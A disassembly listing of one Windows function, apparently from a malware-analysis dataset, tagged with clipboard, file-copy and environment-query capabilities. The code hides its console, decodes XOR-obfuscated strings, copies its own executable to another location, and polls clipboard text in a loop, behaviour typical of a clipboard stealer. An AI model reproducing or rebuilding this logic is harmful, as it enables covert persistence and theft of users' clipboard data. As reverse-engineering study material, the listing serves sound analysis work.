Function at 0x140006390
Capabilities:
Copy file
Open clipboard
Query environment variable
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x1e0
mov rax, qword [0x140019010]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rsp + 0xa0], 0x5f
mov al, 0x1e
mov cl, 0xf
movzx edx, cl
mov r8b, 0x1b
movzx r9d, al
mov r10b, 0xb
movzx r11d, al
xor ebx, ebx
xor al, 0x5f
mov byte [rsp + 0xa1], al
xor cl, 0x5f
mov byte [rsp + 0xa2], cl
xor dl, 0x5f
mov byte [rsp + 0xa3], dl
xor r8b, 0x5f
mov byte [rsp + 0xa4], r8b
xor r9b, 0x5f
mov byte [rsp + 0xa5], r9b
xor r10b, 0x5f
mov byte [rsp + 0xa6], r10b
xor r11b, 0x5f
mov byte [rsp + 0xa7], r11b
mov byte [rsp + 0xa8], bl
lea rcx, [rsp + 0xa1]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], bl
jne 0x140006474
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140007f80
nop
mov byte [rsp + 0x30], 0x34
mov al, 0x68
xor ecx, ecx
xor al, 0x34
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea r8, [0x14001a3c0]
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.140007980
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400064c3
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400074c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140006511
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000650c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000650c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103d0
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.14000fe10
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.1400043e0
nop
lea rcx, [rsp + 0x40]
call fcn.140004f70
test al, al
sete bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400065a7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400065a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103d0
test bl, bl
je 0x140006661
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.14000fe10
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.1400043e0
nop
mov qword [rsp + 0x30], r12
lea rax, [0x140019048]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140005080
cmp dword [rsp + 0x30], 0
jne 0x140006e10
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140006661
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000665c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000665c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103d0
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.14000fe10
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.1400043e0
nop
lea rcx, [rsp + 0x40]
call fcn.140004f70
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400066f5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103d0
test bl, bl
je 0x140006816
mov byte [rsp + 0x30], 0x76
mov al, 0x2a
xor ecx, ecx
xor al, 0x76
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea r8, [0x14001a2e0]
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.140007980
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140006735
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400074c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140006783
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000677e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000677e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103d0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.1400072a0
mov rbx, rax
mov r8d, 0x104
lea rdx, [rsp + 0xc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400067cd
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400067bc
mov rdx, qword [rbx]
xor r8d, r8d
lea rcx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140006807
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140006802
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400068a5
mov rcx, r8
call fcn.1400103d0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.14000fe10
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.1400043e0
nop
lea rcx, [rsp + 0x40]
call fcn.140004f70
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400068b1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103d0
test bl, bl
je 0x140006b44
mov esi, dword [0x14001a330]
lea rdi, [0x14001a320]
mov r8, rdi
cmp qword [0x14001a338], 0x10
cmovae r8, qword [0x14001a320]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rsi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
cmovo rax, r15
mov rcx, rax
call fcn.140010734
mov rbx, rax
cmp qword [0x14001a338], 0x10
cmovae rdi, qword [0x14001a320]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 1]
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.1400070b0
mov rcx, rbx
call fcn.1400103d0
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x80]
call fcn.1400070b0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400069b0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400069ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103d0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 8
cmovae rcx, qword [rsp + 0x80]
call fcn.140005b60
test eax, eax
jne 0x140006af9
mov edi, dword [rsp + 0x70]
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rsi, eax
mov eax, 2
mul rsi
cmovo rax, r15
mov rcx, rax
call fcn.140010734
mov rbx, rax
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.1400070b0
mov rcx, rbx
call fcn.1400103d0
nop
lea rdx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 8
cmovae rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 8
cmovae rcx, qword [rsp + 0x80]
call fcn.140005f60
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 8
jb 0x140006af9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006af3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006af3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103d0
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 8
jb 0x140006b44
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103d0
movabs r13, 0x7fffffffffffffff
jmp 0x140006b57
mov r15, 0xffffffffffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
nop
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
xorps xmm0, xmm0
test rax, rax
jne 0x140006bed
mov byte [rsp + 0x30], 0x38
mov al, 0x5d
mov cl, 0x4a
movzx edx, cl
mov r8b, 0x57
movzx r9d, cl
xor r10d, r10d
xor al, 0x38
mov byte [rsp + 0x31], al
xor cl, 0x38
mov byte [rsp + 0x32], cl
xor dl, 0x38
mov byte [rsp + 0x33], dl
xor r8b, 0x38
mov byte [rsp + 0x34], r8b
xor r9b, 0x38
mov byte [rsp + 0x35], r9b
mov byte [rsp + 0x36], r10b
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea rax, [rsp + 0x31]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], r10b
jne 0x140006bd0
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.140007f80
jmp 0x140006c6e
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xa0], rbx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rsp + 0xa8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r12
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140006c30
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.140007f80
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rsp + 0x90]
movups xmmword [rsp + 0x50], xmm1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
nop
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r12
lea r14, [rsp + 0x40]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x58]
cmp r15, 0x10
cmovae r14, rsi
mov rdi, qword [rsp + 0x50]
cmp rdi, r13
ja 0x140006e27
mov qword [rsp + 0x98], 0xf
cmp rdi, 0x10
jae 0x140006ce0
mov qword [rsp + 0x90], rdi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x80], xmm0
jmp 0x140006d81
mov rbx, rdi
or rbx, 0xf
cmp rbx, r13
jbe 0x140006d1b
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400103d8
mov rcx, rax
test rax, rax
je 0x140006d44
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140006d5a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140006d4b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006e2c
jmp 0x140006cfd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140006d57
call fcn.1400103d8
jmp 0x140006d5a
mov rax, r12
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x80]
call fcn.1400058e0
mov ecx, 0x3e8
call fcn.140005640
nop
cmp r15, 0x10
jb 0x140006b50
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140006dcf
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006dcf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1400103d0
jmp 0x140006b50
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, str.create_directories
call fcn.140004f10
nop
call fcn.140003b20
call fcn.140003a80
int3